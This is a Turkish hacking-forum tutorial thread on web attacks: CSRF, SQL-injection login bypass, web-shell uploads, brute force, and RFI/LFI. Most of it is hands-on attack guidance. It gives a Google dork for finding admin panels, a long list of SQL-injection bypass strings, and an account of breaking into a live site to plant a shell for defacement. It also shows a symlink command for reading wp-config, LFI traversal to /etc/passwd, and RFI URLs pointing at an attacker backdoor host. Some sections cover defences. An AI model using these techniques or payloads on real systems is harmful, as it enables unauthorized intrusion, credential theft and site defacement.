  • Referrer veya Origin başlıklarını okuyun.​
  • Post veya Get isteklerinin parametrelerinin adını değiştirin​
  • Her oturumda bir CSRF token kullanın. Token, eylemi onaylamak için isteğin içinde gönderilmelidir ve CORS ile korunabilir.​
Not: Saldırı yaparken kötüye kullanmak istediğiniz form CSRF token ile bir POST isteği göndermek için hazırlanmış olabilir. Bunun bir GET'in de geçerli olup olmadığını ve bir GET isteği gönderdiğinizde CSRF tokenın onaylanıp onaylanmadığını kontrol etmelisiniz .

Not: Bazı uygulamalar token olduğunda başarılı bir doğrulama yapar ama token atlanırsa doğrulama işlemi de atlanmış olur. Böyle bir durumda saldırgan , doğrulamayı atlayarak CSRF saldırısı gerçekleştirmek için sadece değerini değil token içeren tüm parametreyi kaldırabilir.

h20mm2l.jpg


7.3 CSRF Nasıl Tespit Edilir?

Kullanıcı tarafından gönderilen bir HTTP isteğinin gerçek kullanıcı mı yoksa bir saldırgan tarafından mı gönderildiğini tespit etmek kolay değildir. Sistemde Token yöntemi kullanılması, kimliğin arka planda otomatik olarak doğrulanmasını sağlar bu sayede kullanıcı sürekli kimlik doğrulama istekleriyle uğraşmaz. Genelde CSRF açığını engellemek için sisteme giriş yapan kullanıcıya, her işlemde farklı ve tahmin edilmesi güç token bilgisi verilir. Verilen bu token bilgisi oturum boyunca aynı kalmaz ve kullanıcı oturumu kapatınca geçersiz hale getirilmelidir. Eğer token veya benzeri bir anahtar kontrolü yapılmazsa, arka planda gönderilen sahte bir istek ile gerçek kullanıcının gönderdiği istek ayırt edilemez ve güvenlik zafiyeti ortaya çıkar.

Not: CSRF token oturum tanımlama bilgisi ile ilgiliyse, hedefi oturuma ayarlamanız gerekeceği için saldırı çalışmaz ve kendinize saldırmış olursunuz.


6rkilxm.jpg


7.4 CSRF Zafiyetine Karşı Alınabilecek Önlemler

CSRF zafiyetine karşı hem sistem tarafından hem de kullanıcı tarafından alınabilecek birkaç önlem bulunur. Bu önlemler sistem ve kullanıcı tarafında olmak üzere ikiye ayrılır.

Sistem tarafında alınması gereken önlemler:

Token kullanın: En popüler olan bu yöntem kullanıcıya her oturum için random ve benzersiz “token” bilgisi verilir. Bu yöntem CSRF Token veya Synchronizer Token olarak adlandırılır. Web uygulaması, sistem tarafından oluşturulmuş tokeni, istek token ile karşılaştırır. Eğer token verileri eşleşirse, isteğin gerçek kullanıcı tarafından gönderildiği anlaşılır ve istek onaylanır. Veriler eşleşmezse istek reddedilir ve böylece kötü niyetli istekler engellenmiş olur.

Get metodu yerine Post metodu kullanın: Kullanıcının sisteme gönderdiği önemli veriler POST metodu ile alınmalıdır.

CAPTCHA kullanın: Bir web formunda captcha doğru olmadığı için işlem gerçekleşmeyeceği için “CSRF” saldırısına karşı bir önlemdir.

Kesin çözüm değildir ancak kullanıcılardan gönderilen isteklerin `HTTP Referer` başlıklarını kontrol edin.


Double Submit Cookie Pattern Yöntemi kullanın: Çerez ve istek parametresinde rastgele bir değer göndermedir. Kullanıcıların oturum açma talebi sistemde doğrulandığında sistem istemci tarafında oturum ID si oluşturur ve çerezlere kaydeder. Bunun yanında token oluşturur ve kullanıcının makinesinde ayrı bir çerez olarak saklar. Server, form parametresi olarak gönderilen tokeni, çerez değerine bakarak doğrular ve tamamlanacak işlemi yetkilendirir. Çapraz kökenli bir saldırgan, aynı kökenden gelen ilkeye göre sunucudan gönderilen verileri okuyamaz veya çerez değerlerini değiştiremez.

Kullanıcı tarafında alınması gereken önlemler:

Çerezleri ve web site verilerini düzenli periyotlarla temizleyin.

Bilmediğiniz kaynaklardan gelen bağlantılara tıklamayın ya da kimden geldiğini anlamadığınız mailleri kontrol etmeden açmayın.

Kişisel bilgilerin bulunduğu web uygulamalarının oturum bilgilerini bilgisayarda kayıtlı tutmayın.



qqtycmj.jpg


8. Login Bypass Nedir?

Yazılımcıların bazen unuttuğu, bazense çok önemsemediği güvenlik açıkları, saldırganların web sitelerinde çeşitli kötü amaçlı işlemler gerçekleştirmesine izin verebilir.

Bunlardan bir tanesi Login Bypass açığıdır. Bu güvenlik açığı, SQL Injection yöntemiyle veritabanını kontrol eden kullanıcı adı ve şifreyi kırarak gerçekleştirilir. Windows sunucularında Linux’a nazaran daha sık karşılaşılır. Özellikle ASP.NET ve ASP web uygulamalarında ve MsSQL ile Microsoft Access veritabanını kullanan sistemlerde önceden bir tedbir alınmadıysa bu güvenlik açığıyla karşılaşılabilir.

Web sitelerini özel PHP scriptlerle oluşturan firmalar aynı zamanda birçok SQL denetimini uygulamak zorundadır. Bir saldırgan Login Bypass, Authentication Bypass, No Redirect Login Bypass gibi yöntemlerle veritabanı yönetimine erişebilir ve kullanıcıların geçerli oturum kimliklerini veya tanımlama bilgilerini çalabilir.

Login mekanizmasını bypass ederek içeri sızma, temel olarak zayıf bir denetimden kaynaklıdır. Saldırganlar içeri sızdığında korumasız dosyaları ararlar. Bu güvenli olmayan dosyalara erişim sağlayarak bilgi toplar ve korumalı uygulamalara saldırmaya çalışırlar.



bfxjuld.jpg


8.1 Admin Panel Bulma

SQL açığı tespit ettiğiniz ve istismar ederken şifresini bulduğunuz sitenin eğer ki login panelini (giriş panelini) admin panelini bulamıyorsanız bazı araçlar sayesinde bulabilirsiniz. Gizlenmiş admin panel dizinleri mevcut peki onları bulabilir miyiz? Kısmen evet çünkü bazı gizlenen paneller isimleri değiştirilebiliyor. Örneğin L0giN.php, GiRiS.html vb.. ama eğer stabil ise login.php, login.html gibi o zaman yüksek ihtimal bulabilirsiniz.


Admin Panel Bulucu Program İçin TIKLAYINIZ (1)

Admin Panel Bulucu Program İçin TIKLAYINIZ (2)

Bu iki araçta çalışmakta ve halen günümüzde hedef sitelerin admin panellerini bulabilmektedir.




mdyy1ts.jpg


8.2 Admin Panel Bypass Etme

Girilen Zararlı Karakterlerin Filtrelenmemesinden Dolayı Kaynaklanan Açıktır. Aynı Sql Injectiondaki Gibi Veri Tabanından Bilgi Çekmek İçin Kullanılan Komutlar İle Siteye Giriş Yapılır. Buradaki Amaç Komutları Username ve Password Kısmına Yazarak Siteye Giriş Yapmaktır.

İlk olarak tarayıcımızı açarak Google'a gidelim ve ardından şu dorkumuzu yazalım;

" inurl:admin/login.php "

yazdıktan sonra aratalım. Karşımıza bir sürü site çıkacaktır. Sitelerden herhangi birisine tıklayalım.



hs1m6kf.jpg




Siteye tıklar tıklamaz karşımıza login sayfası çıkacaktır. Çünkü dorkumuzu bu şekilde filtreleyerek şekillendirdik. Sitelerin login panelleri karşımıza çıkacaktır.



ft46wn2.jpg


Login sayfasına bypass kodlarımızı yazalım. Örnek olarak yazdığım kod;

''Or'='Or''

parola kısmına da aynısını yazarak login diyorum.



6ayrbhp.jpg


Ve görüldüğü üzere admin olarak panele giriş yaptım. Artık istediğimi yapabilirim. Bazı siteler upload (dosya yükleme) kısmı olmuyor ancak bunda var. Buradan shell sokarak sunucudaki diğer sitelere index atabiliriz.

Ancak bu şekilde giriş yaptığım gibi her siteye giriş olmaz. Eski bir açık olduğundan çoğu site korumasını alarak açıklarını kapatmıştır.

nhhm08v.jpg




8.3 Örnek Bypass Kodları


Örnek bypass kodlarımız;

''Or'='Or''

anything' OR 'x'='x

1'or'1'='1

' or 1=1 or ''='

" or 1=1 or ""="

' OR ''='

'' OR ''=''

'OR''='

hey' or 1=1–

''Or 1 = 1'

' or 1=1--

or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

hi") or ("a"="a

'hi' or 'x'='x';

x' or 1=1 or 'x'='y

\x27\x4F\x52 SELECT *

\x27\x6F\x72 SELECT *

'or select *

admin'--

")) or (("x"))=(("x

" or ""+"

admin"or 1=1 or ""="

admin") or ("1"="1"--




Bu kodlar ile giriş yapamadığınız sitelere giriş yapabilme ihtimalinizi arttırabilirsiniz.


h7fao2l.png




py6cwky.jpg


9. Hedef Web Site Hakkında Bilgi Toplama


Hedef web sitesi hakkında bilgi toplamak için site report netcraft sitesini kullanabiliriz. Örneğin turhackteam.org adresine bakalım.




adresine gidelim.

İşte karşımıza çıkan sonuçlar;



57uokq7.jpg


ayyc7y8.jpg



Sitemizin bağlı olduğu hostingler, ip adresleri, dns ve domain hakkında bi takım bilgiler çıkıyor. Analizde ise sitenin sağlıklı olduğunu ve bir sorunun olmadığını ilk görseldeki sağ üstteki 0/10 yazan yerden ve yeşil renkten anlayabiliriz.


jv44tfd.jpg


khptgnp.jpg


9.1 Sunucu İçerisini Görüntüleme


Herhangi bir web sitenin sunucu içerisini görüntüleyebiliriz. Bu sunucu içerisinde bambaşka siteler mevcut. Aratılan sitenin sunucu içerisinde bu siteler yer alır. Örnek olarak turkhackteam.org adresine bakalım.



adresine gidelim.


8tqwgzo.jpg



Görüldüğü üzere turkhackteam.org'un da yer aldığı pek çok siteli bir sunucu mevcut olduğunu gördük.


6lb67ii.jpg


9.2 İP Adresi Geçmişi Görme

Şimdi ise IP History'e bakalım.


adresine gidelim.


jahp5z2.jpg



karşımıza çıkan sonuçlar ve ip adresleri bu şekilde.


h7fao2l.png
Eline Emeğine Sağlık Hocam :)
 

Bozkurts1

Üye
8 Şub 2022
153
105
rxdr9g1.jpg


4. Code İnjection Nedir?


Kod enjeksiyon saldırısı dediğimiz saldırı türü; sistemlere kötü amaçlı kodların enjekte edilmesini içeren saldırılar için kullanılan genel terimdir. Kullanıcıdan bilgi veya dosya istendiği durumlarda yeterli güvenlik kontrolü sağlanmazsa sitenin içerisine shell veya malware gibi zararlı yazılımlar sokulabilir.

Bu zararlı yazılımlar (shell gibi) bir sitenin kontrolünü tamamen hackerın eline geçirebilir ya da malware gibi sitenin belirli yerlerinde izinsiz reklamlar gösterebilir.

Şimdi sıralayalım. Kullanıcı girişleri yeterince kontrol etmezse sitenin bütününde güvensizlik oluşturur ve bu açık meydana gelir. Bu açık meydana gelirse diğer açıklara da sebebiyet verebilir ve başka saldırıların başlatılmasına ön ayak olur.

Bu sayede sistemin bütünlüğü en kötü şekilde tehlikeye atılmış olur.


imcpwfz.jpg


4.1 Hedef Siteye Shell Atma

Shell’i servere yükleme yöntemi için bir kaç madde halinde açıklayalım.
  • Remote file inclusion (RFI) açıklarından faydalanabiliriz​
  • Sql injection açıklarından faydalanabiliriz​
  • Exploits kullanarak yükleme yapabiliriz​
  • Upload (Dosya izinlerinden oluşan upload açıkları) açıklarından faydalanabiliriz​
  • Logger vb. spy yazılımlardan faydalanabiliriz​
  • Hedef sunucu hostundan hesap açarak yükleme yapabiliriz​
  • Sosyal mühendislik (social engineering) kullanarak yükleme yapabiliriz​
1) Remote file inclusion açıklarını kullanarak .txt uzantılı shellimizden bu yazımızda bahsettiğimiz izinler çerçevesinde(permissionlar) istediğimiz gibi .php uzantılı shell yükleyebiliriz. veya bağlandığımız .txt shell ile yine sunucu yetkileri çerçevesinde alt dizinlere geçebiliriz yada indeximizi upload eder çıkarız.

siteadi.com : siteadi.com

ile bağlandığımız siteye .php uzantılı shelli upload edersek kullanımı şu şekilde olur.

SiteAdi.com – Siteadi.com
şeklinde kullanıma geçebiliriz.

Şuanda RFI bitmesede çok nadir rastlanan açıklar haline geldi. Nolur nolmaz gene de bütün güvenlik bilgilerinizi RFI açığına bağlamayınız.

2) SQL Injection Açığıyla nasıl shell yükleriz derseniz, öncelikle SQL açığını kullanmasını bilen mantığı hemen anlar. Nedir bu mantık? Sql kodları yardımıyla site sahibinin kullanıcı adı ve şifresini elde ediyoruz. kimi zaman md5 seklinde şifre gelir, bizde md5 cracker yardımıyla hashleri kırarız.
elde ettiğimiz kullanıcı adı ve şifre ile siteye giriş yaparız, admin panelden bir upload kısmından shell dosyamızı (.php veya .asp) upload ederiz ve yine sunucuya bağlanmış oluruz.

Sql şuanda en çok kullanılan yaygın hacking (güvenlik zafiyeti) yöntemlerinden biridir. Çok büyük sitelerde, CMS sistemlerde bile rastlanan hiç değilse her serverde en az 1 den fazla sitede rastlanan açıktır.

3) Exploits kullanarak shell atabiliriz bu da yine derlenmiş exploitler sayesinde sitenin admin bilgilerini (kullanıcı adı ve şifresini) elde ederek admin panelden shell upload edebiliriz ve yine sunucuda yetkilerimiz dahilinde işlem yapabiliriz.

Bu kısma şöyle bir örnek verelim, bir dönem IPBoard forumlarında belirli açık sayesinde yazılan exploits ile admin şifrelerine ulaşabiliniyordu. Tabi CMS sistemler sürekli güncellendiğinden daha sonraları kapatıldı bu açık.

4) Upload açıklarından faydalanarak sitelere shell yükleyebiliriz. Burada genellikle .php veya .asp uzantılı shellerimizi kabul etmeyen upload siteleriyle karşılaşıyoruz. Bunun için shell içine gıf89;a yazısını ekleyerek upload sayfasının yükleyeceğimiz shelli resim dosyası olarak görmesini sağlayabiliriz.
Aklınızın alamayacağı kadar çok upload açıklı dosyalar vardır. Bunlardan en çok kullanılan bir iki tanesini buraya bakalım;

upload.php , upload.asp , upload.htm , upload.html
Tabi bu uzantıları ve upload sayfalarını siz hayal gücünüze bağlı olarak üretebilirsiniz. Hazır dizin veya sayfa bulucular da mevcut. Onları da araştırabilirsiniz.

5) Logger vb. spy yazılımlar kullanılarak shell yüklenmesi öncelikle hedef sitemizin adminini buluyoruz gerekli sosyal mühendislik vb. işlemleri gerçekleştirdikten sonra loggeri yedirip admin şifreleride dahil olmak üzere ftp ve mail şifrelerini alıyoruz. Tabi bu kısım ayrı bir uzmanlık alanı gerektirir. Çok geniş bir konudur ki tecrübe ister. Neyse devam edelim aldığımız şifreler sayesinde site sahibinin yetkilerini almamıza rağmen FTP’sine girdiğimiz sitenin sunucusunada ulaşmak istiyorsak shell upload eder ve yetkilerimiz çerçevesinde izinlerimizi kullanarak siteyi veya tüm serveri hackleyebiliriz.

6) Host firmasına yapılan sosyal mühendislik ile shell yükleme işi ise şöyle yapılır, diyelim ki hedef bir sitede her şeyi yapmamıza rağmen bir türlü açık bulamadık. Genelde son çare olarak kullanılan bu yöntemle hostçuyla irtibata geçer sosyal mühendislik yaparak sunucudan bir hesap açarız, açtığımız hesapta ise küçük bir script kurar ve FTP’mize shell atarak serveri rootlar hedef siteye ulaşırız veya manuel geçişler yaparak da hedef siteye ulaşabiliriz.

7) Sosyal mühendislik yöntemiyle siteye shell yükleme yapabiliriz. Burada işin içine sosyal mühendislik girdiği için belirli bir yöntem yoktur. Ancak sm yapan kişinin kabiliyetine, tecrübesine bağlıdır. Kişi sosyal mühendislik yapabilecek kabiliyetteyse çok kolay ve rahat bir şekilde çeşitli yollarla siteye veya FTP’ye ulaşarak shell atabilir. Ancak bu Sosyal mühendislik olayı ayrı bir uzmanlık alanı olduğu söyleyelim. Forumumuzda zaten binlerce sosyal mühendislik konuları mevcut, onlar okunabilir.

Evet shell yükleme yöntemlerimiz bu şekilde idi.

Kaç Tür Shell Vardır?

Genel olarak kullanılan 3 çeşit shell vardır. Bunlar .php, .asp ve .aspx dillerindeki shellerdir. Şuanda bu dillerde yazılmış 1000lerce shell var hepsinin çalışma mantığı aynıdır ancak birkaç farklı özellik eklenmiş halleri vardır.

En çok Kullanılan Sheller Başlıca Şöyledir:

C99.php (Yeni başlayanlar için kullanımı kolay, arayüzü oldukça basit bir shell)
R57.php (Shell sistemini artık çözmüş kod bilgisine döken kişiler kullanır)
CyberSpy5.asp ( Genellikle yetkili (usta) kişilerin kullandığı shelldir)
LORD.aspx ( ihtiyacı gören, kullanışlı zaman zaman kullandığımız tavsiye bir shelldir.)
c99 veya r57 .txt sheller ( Bunlar RFI için kullanılan shellerdir, RFI’de .asp shell veya .php shell kullanılmaz.)

şimdi şöyle devam edelim ve bitirelim;

.php uzantılı sheller unix, linux, freebsd sunucularında kullanılır.

.asp uzantılı sheller ise windows sunucularda kullanılır.

şimdi siz bir linux server’e .asp uzantılı shell atamazsınız atsanız dahi çalıştıramazsınız.

ancak windows serverlere nadirende olsa rastlanmıştır. .php uzantılı sheller atılabilirken, .asp shell kadar yetki vermiyor. genelde editleme yetkisine rastlanıyor. Yükleme ve silme yetkileri bulunmamaktadır.

Bu sebepten shell yükleyeceğiniz sitenin sistemini araştırmanız ve iyi bilmeniz gerekmektedir.



gkss0a5.jpg


4.2 Shell Atarak Server Bypass Etme (Config Okuma)


Buradaki asıl amacımız symlink, config grabber işlemlerini denediyseniz ama config okuyamadıysanız diye deneyebileceğiniz bir işlemdir.

Bir siteye shell yükledikten sonra config okumak için ne kadar yöntem varsa eğer denerseniz illa ki bir şekilde okunur. Bizlerde size bunu göstermek istiyoruz. Çünkü bir siteye girip index atmak kolay ama önemli olan devamını getirmektir. Daha fazla uzatmadan neler yapabileceğinizi gösterelim.

k9rcsrj.jpg


Hedef sitemiz bu.



hn0q7vt.jpg



Symlink’e Basıyoruz. Bastıktan sonra sitenin wordpress olduğunu görüyoruz. O yüzden config dosyası olan wp-config.php’ye tıklıyoruz.


7pjevgv.jpg



Tıkladığımız da böyle bir hata alıyoruz.


cnvfwic.jpg



Daha sonra alfa shell üzerinden cgi shelle geliyoruz. Buradan perl veya pythondan birini seçiyoruz. Ben perl’i seçtim.


d28001w.jpg



Birini seçtikten sonra karşımıza bu ekran gelecek


1bxhay3.jpg



config okumak için:

ln -s /home/xxxx/public_html/wp-config.php config1.txt şeklinde komut veriyoruz.

Komutumuzu verdikten sonra site adresinden:

/ALFA_DATA/cgialfa kısmına geliyoruz. Shelli nereye yüklediyseniz oradan yapıştırıp geçebilirsiniz. Mesela örnek dizin yerimiz:

wp-content/plugins/wordpress/includes/ALFA_DATA/cgialfa

bu şekilde. Wordpress sitelere plugin ile shell yükleyebilirsiniz.


b0dlcmt.jpg



dizine de geçtikten sonra karşımıza config çekmesini istediğimiz dosyayı göreceğiz. Ben 1.txt diye komut verdim. Eğer txt dosyasına tıklarsanız config bilgilerini görmüş olursunuz.


hus5ue2.jpg



Bu işlemde bu kadar basit. Sizler de bu şekilde bypass yöntemleri deneyerek config okuyabilir ve birden fazla site hackleyebilirsiniz.


h7fao2l.png



nouyzxe.jpg


4.3 Web Site Saldırılarına Karşı Önlemler

Saldırganlar, web sitesi güvenlik açıklarından yararlanmak için çeşitli yöntemlerden yararlanır. Sonuç olarak, siteler arası komut dosyası çalıştırma saldırısı riskini azaltmak için tek bir strateji yoktur.

Siteler arası komut dosyası oluşturma kavramı, güvenli olmayan kullanıcı girişinin doğrudan bir web sayfasına işlenmesine dayanır. Kullanıcı girdileri uygun şekilde sterilize edilirse, siteler arası komut dosyası çalıştırma saldırıları imkansız olacaktır.

Web sitelerinde kullanıcılara ait girdilerin zarar görmemesi için farklı çözümler sunulabilir. Web sitenizi korumak için, web uygulamalarınızı aşağıdaki koruyucu önlemlerle güçlendirmenizi öneririz.

  • Güvenlik Açığı Kodu Bulun: Siteler arası komut dosyası çalıştırmadan kurtarmanın ilk adımı, güvenlik açığının nerede olduğunu belirlemektir.​
  • Kötü Amaçlı İçeriği ve Arka Kapıları Kaldırın: Kötü amaçlı yazılımın konumu hakkında bilgi edindikten sonra, kötü amaçlı içeriği veya kötü verileri veritabanınızdan kaldırın ve temiz bir duruma geri yükleyin. Ayrıca arka kapılar için web sitenizin geri kalanını ve dosya sistemlerini kontrol etmek isteyeceksiniz.​
  • Güvenlik Açığını Düzeltin: Veritabanlarındaki, uygulamalardaki ve üçüncü taraf bileşenlerdeki güvenlik açıklarından sıklıkla bilgisayar korsanları yararlanır. Güvenlik açığı bulunan yazılımı belirledikten sonra, diğer güncel olmayan bileşenlerle birlikte güvenlik açığı bulunan koda yamalar ve güncellemeler uygulayın.​
  • Kimlik Bilgilerinizi Güncelleyin: Bir güvenlik açığı oluştuğunda, güvenlik açığı yamalanır yüklenmez tüm parolalarınızı ve uygulama sırlarınızı değiştirmeniz önemlidir. Veritabanında hileli yönetici kullanıcı veya arka kapı bulunmadığından emin olmak için verilerinizi temizleyerek yeniden bulaşmayı önleyin.​
  • Bir WAF Ayarlayın: Web sitenize gelen kötü niyetli istekleri filtrelemek için bir web uygulaması güvenlik duvarı kurmayı düşünün. Bunlar, yamalar kullanıma sunulmadan önce yeni güvenlik açıklarına karşı koruma sağlamak için özellikle yararlı olabilir.​


h7fao2l.png



hw0feiv.jpg


5. Brute Force Nedir?

Brute Force hackerların deneme-yanılma yoluyla şifreleri çözebilmek için kullandığı bir dijital ve kriptografik saldırı tekniğidir. Brute Force saldırısında, hackerlar saldıracak hedefte bir bilgi bulamamasına karşılık tahmin ve internet ortamında bulunan basit şifre türlerini listeler, daha sonra hedefe yönelik listelenen şifrelerin denenmesi için yardımcı bir yazılım oluşturulur yahut şifreler tek tek denenir ve kırılmaya çalışılır.

Çoğu Brute Force saldırısı otomatiktir bu yüzden her şirket bu tarz bir saldırıda hedef olabilir.




c8ujdt4.jpg


5.1 Kaba Kuvvet Saldırıları

Brute force kaba kuvvet saldırılarının pek çok türleri mevcuttur. Her bir kaba kuvvet saldırısı, hassas verileri ortaya çıkarmak için farklı yöntemler kullanmaktadır.

Kaba kuvvet (brute force) saldırılarının türleri:

  • Basit kaba kuvvet saldırıları: Bir siber saldırgan yazılım araçları ya da sözlük benzeri diğer araçlardan yardım almaksızın kişisel bilgilerinizi tahmin etmeye çalışabilir. Söz konusu yöntem sadece basit düzeydeki şifreleri ortaya çıkarmaya yarar.​
  • Sözlük saldırıları: Kaba kuvvet saldırılarındaki temel araç konumundaki sözlükler, şifre kırma işlemlerindeki en işlevsel bileşenlerden biri. Standart ya da özel sözlükler kullanılarak yapılan saldırılarda bilgisayar korsanı, seçtiği hedefin kullanıcı adına ilişkin olası şifreleri çalıştırmayı deniyor. Sıralı saldırı türü olarak da bilinen sözlük saldırılarının biraz zahmetli olduğunu belirtmek gerek.​
  • Hibrit kaba kuvvet saldırıları: Basit kaba kuvvet ve sözlük saldırılarının birleşimi şeklinde düşünebileceğiniz hibrit saldırılarda mantıksal tahminler ve dış araçlar kullanılıyor. İlgili yöntem yaygın sözcüklerin rastgele karakterlerle karıştırıldığı birleşik parolaları bulmak için tercih ediliyor.​
  • Ters kaba kuvvet saldırıları: Yakın zamandaki veri ihlallerinden sızdırılan şifrelerin kullanıldığı yöntemde eşleşme bulunana kadar milyonlarca kullanıcı adı aranıyor. Ters saldırıda yaygın yaklaşımın aksine bilinen bir paroladan denemeye başlanıp ters strateji uygulanıyor.​
  • Tekrar eden kimlik bilgisi saldırıları: Kimlik bilgisi doldurma olarak da ifade edilen saldırı birçok web sitesinde aynı oturum açma bilgilerini kullananları hedef alıyor. Bilgisayar korsanı verilerini daha önce ele geçirdiği şirket ya da kamu kurumu çalışanı üzerinden saldırıyı planlıyor.​


Brute Force İle Site Hacklemek İçin TIKLAYINIZ (1)

Brute Force İle Site Hacklemek İçin TIKLAYINIZ (2)


h7fao2l.png



a9cjmsd.jpg


6. RFI ve LFI

Uzaktan Dosya Ekleme (RFI), en sık PHP çalıştıran web sitelerinde bulunan bir güvenlik açığı türüdür. Saldırganın, genellikle web sunucusundaki bir komut dosyası aracılığıyla uzaktan barındırılan bir dosya eklemesine olanak tanır. Güvenlik açığı, kullanıcı tarafından sağlanan girişin doğru doğrulama olmadan kullanılması nedeniyle oluşur. Bu, dosyanın içeriğinin çıktısını almak kadar az bir şeye yol açabilir, ancak önem derecesine bağlı olarak rasgele kod yürütülmesine neden olabilir.

Yerel Dosya İçerme (LFI) RFI'ye çok benziyor; tek fark, LFI'de saldırganın kötü amaçlı komut dosyasını yerel olarak yürütülmek üzere hedef sunucuya yüklemesi gerektiğidir.

Diğer bir tabirle;

File Inclusion : Dosya ekleme olarak tabir edilebilen bir zayıflıktır. File Inclusion saldırıları, PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır. Kötü niyetli saldırganın, yerel (local) ve uzaktan (remote) kod çalıştırmasına olanak sağlar.

LFI (Local File Inclusion) : Yerelden dosya ekleyerek kod çalıştırmaktır.

RFI (Remote File Inclusion) : Uzaktan dosya ekleyerek kod çalıştırmaktır.


f3vge6m.jpg


6.1 RFI Nedir?

RFI (Remote File Inclusion) Örneği

index2.php dosyası:

CSS:
include(“$duyurular/guncel/duyuru.php”);

Bu satırdaki “$” işareti bulunan parametreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür.

Yukarıdaki şekilde, adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.
Bu noktada saldırgan yönlendirilen alanda shell ve listpatch isimleriyle tabir edilen kötü amaçlı scriptçikleri kullanarak web sitenin sunucusuna sızmaktadır! Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları r57, C99 ve veryasyonlarıdır.


Mesela R57 Shell’inin özelliklerine bir değinelim…
R57 web üzerinde komut çalıştırma, dizin atlama, dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma&bağlantıları görme, dosya içeriği okuma, dosya yükleme ve dosya indirme vs.. özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir.
Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemler yapılabilir.
Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm web siteleri ve sunucu tehlike altındadır.


s38w8j7.jpg


6.2 LFI Nedir?


LFI (Local File Inclusion) Örneği

CSS:
index.php dosyası:
<?php
include($_GET['sayfa'])
?>

Bu gibi bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri oluşturulur:

index.php?sayfa=haberler.php

index.php?sayfa=iletisim.php

En basit görünümüyle böyle bir yazılım, LFI (Local File Inclusion) zayıflığını oluşturur:

* index.php?sayfa=../../../../../../../../../etc/passwd

Yukarıdaki “../” ifadesi bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sunucunun /etc/passwd içeriğini yani user listesini ekrana yazdırır:


CSS:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…..


oyn77jm.jpg


6.3 RFI ve LFI Aralarındaki Farklar Nelerdir?


Uzaktan dosya ekleme (RFI), harici komut dosyalarına dinamik olarak başvuran web uygulamalarındaki güvenlik açıklarını hedefleyen bir saldırıdır.

Failin amacı, farklı bir etki alanında bulunan uzak bir URL’den kötü amaçlı yazılım (ör. arka kapı kabukları) yüklemek için bir uygulamadaki referans işlevinden yararlanmaktır.

Başarılı bir RFI saldırısının sonuçları arasında bilgi hırsızlığı, güvenliği ihlal edilmiş sunucular ve içerik değişikliğine izin veren bir site ele geçirme yer alır.

RFI’ye benzer şekilde, yerel dosya ekleme (LFI), kötü amaçlı dosyaların web tarayıcıları aracılığıyla sunuculara yüklenmesini içeren bir vektördür. Dosya dahil etme saldırıları bağlamında genellikle iki vektöre birlikte başvurulur.

Her iki durumda da başarılı bir saldırı, kötü amaçlı yazılımın hedeflenen sunucuya yüklenmesiyle sonuçlanır. Ancak, RFI’den farklı olarak, LFI saldırıları, kullanıcı tarafından sağlanan/kontrol edilen girdiyi doğrulamakta başarısız olan güvenli olmayan yerel dosya yükleme işlevlerinden yararlanmayı amaçlar.

Sonuç olarak, kötü niyetli karakter yüklemelerine ve dizin/yol geçiş saldırılarına izin verilir. Failler daha sonra kötü amaçlı yazılımı uzak bir konumdan sertleştirilmiş bir harici referans işlevi kullanarak almak yerine, güvenliği ihlal edilmiş bir sisteme doğrudan yükleyebilir.


6izl4qj.jpg


6.4 Saldırıdan Korunma Yöntemleri


Yöntem 1

Yazılan kodların RFI açıklarına karşı kontrol edilmesi.



Zayıf Kod:

PHP:
<?php

include ($ornek. ‘../index.php’);

?>

Güvenli Kod:


PHP:
<?php

$ornek= ‘veri’;

include ($ornek. ‘../index.php’);

?>

örnek değişkenine tanımlama yapıldığından dış verinin girişine izin vermeyecek ve RFI & LFI açıklarından korunmamızı sağlayacaktır.


Yöntem 2

php.ini

/etc/php.ini
dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell scriptçiklerinin etkisiz kalmaları sağlanabilir:

disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice


9p2fpmq.jpg

6.5 Uzaktan Dosya Ekleme Örnekleri

RFI penetrasyonlarının nasıl çalıştığını göstermek için şu örnekleri göz önünde bulunduralım:

  1. Bir JSP sayfası şu kod satırını içerir: <jsp:include page=”<%=(String)request.getParmeter(“ParamName”)%>”> aşağıdaki istekle değiştirilebilir: Page1.jsp?ParamName= /WEB-INF/DB/parola.​

Talebin işlenmesi, şifre dosyasının içeriğini faile ifşa eder.

  • Bir web uygulamasının, burada gösterildiği gibi bir URL adresinden içerik talep eden bir içe aktarma ifadesi vardır: <c:import url=”<=request.getParameter(“conf”)%>”>.​
Temizlenmemişse, aynı ifade kötü amaçlı yazılım enjeksiyonu için kullanılabilir.


Örneğin: Page2.jsp?conf=https://evilsite.com/attack.js.


  • RFI saldırıları, genellikle, uzak bir kötü amaçlı dosyaya başvurmak için istek parametrelerinin değiştirilmesiyle başlatılır.​

Örneğin, aşağıdaki kodu göz önünde bulunduralım:

$incfile = $_REQUEST[“file”]; include($incfile.”.php”);

Burada, ilk satır HTTP isteğinden dosya parametre değerini çıkarırken, ikinci satır dosya adını dinamik olarak ayarlamak için bu değeri kullanır. Dosya parametre değerinin uygun şekilde dezenfekte edilmediği durumlarda, bu kod yetkisiz dosya yüklemeleri için kullanılabilir.



qa7o0p6.jpg


Örneğin, bu URL dizesi;

http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor uzak bir konumda depolanan bir arka kapı dosyasına harici bir referans içerir.

